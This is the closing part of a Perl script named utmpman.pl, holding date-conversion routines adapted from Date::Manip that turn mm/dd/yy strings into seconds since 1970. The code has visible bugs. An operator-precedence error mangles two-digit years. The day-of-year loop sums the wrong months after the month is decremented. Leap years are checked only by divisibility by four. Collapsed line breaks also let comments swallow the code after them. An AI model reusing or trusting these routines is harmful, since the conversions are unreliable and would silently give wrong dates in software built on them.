### DATE ROUTINES # The following code taken & modified from the Date::Manip package. # Here is his copyright: # ## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved. ## This program is free software; you can redistribute it and/or modify it ## under the same terms as Perl itself.
sub SecsSince1970 { # Parse as mm/dd/[cc]yy[:hh:mm[:ss]] my($datetime) = shift; my($m,$d,$y,$h,$mn,$s) = (); # If date is not defined, then return local current date and time. return time() if (!defined($datetime)); $datetime =~ s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!; ($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6); $m--; # Finalize time components and check them. $y = (($y < 70) ? "20":"19" . $y) if (length($y)==2); # This checks for any *non-matched* portion of $datetime. If there is such # an animal, then there is illegal data specified. Also screens for undefined # components which HAVE to be in ANY valid date/time (ie, month, day, year). return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime)); # Set time components with unspecified values. $s = 0 if (!defined($s)); $mn = 0 if (!defined($mn)); $h = 0 if (!defined($h)); # Check for ranges. return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59));
# Begin conversion to seconds since 1/1/70. my($sec_now,$sec_70)=(); $sec_now=DaysSince999($m,$d,$y); return undef if (!defined($sec_now)); $sec_now--; $sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s; $sec_70 =30610224000; return ($sec_now-$sec_70); }
sub DaysSince999 { my($m,$d,$y)=@_; my($Ny,$N4,$N100,$N400,$dayofyear,$days)=(); my($cc,$yy)=(); $y=~ /^(\d{2})(\d{2})$/; ($cc,$yy)=($1,$2); # Number of full years since Dec 31, 0999 $Ny=$y-1000; # Number of full 4th years (incl. 1000) since Dec 31, 0999 $N4=int(($Ny-1)/4)+1; $N4=0 if ($y==1000); # Number of full 100th years (incl. 1000) $N100=$cc-9; $N100-- if ($yy==0); # Number of full 400th years $N400=int(($N100+1)/4); # Check to insure that information returns a valid day of year. $dayofyear=dayofyear($m,$d,$y); return undef if (!defined($dayofyear)); # Compute day of year. $days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear; return $days; }
sub dayofyear { my($m,$d,$y)=@_; my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31); my($daynum,$i)=(); $daysinmonth[1]=29 if (!($y % 4)); # Return error if we are given an invalid date. return undef if ($d > $daysinmonth[$m]); $daynum=0; for ($i=1; $i<$m; $i++) { $daynum += $daysinmonth[$i]; } $daynum += $d;
return $daynum; }
## END DATE ROUTINES.
# End of script. 0; --------------------- end of utmpman.pl
|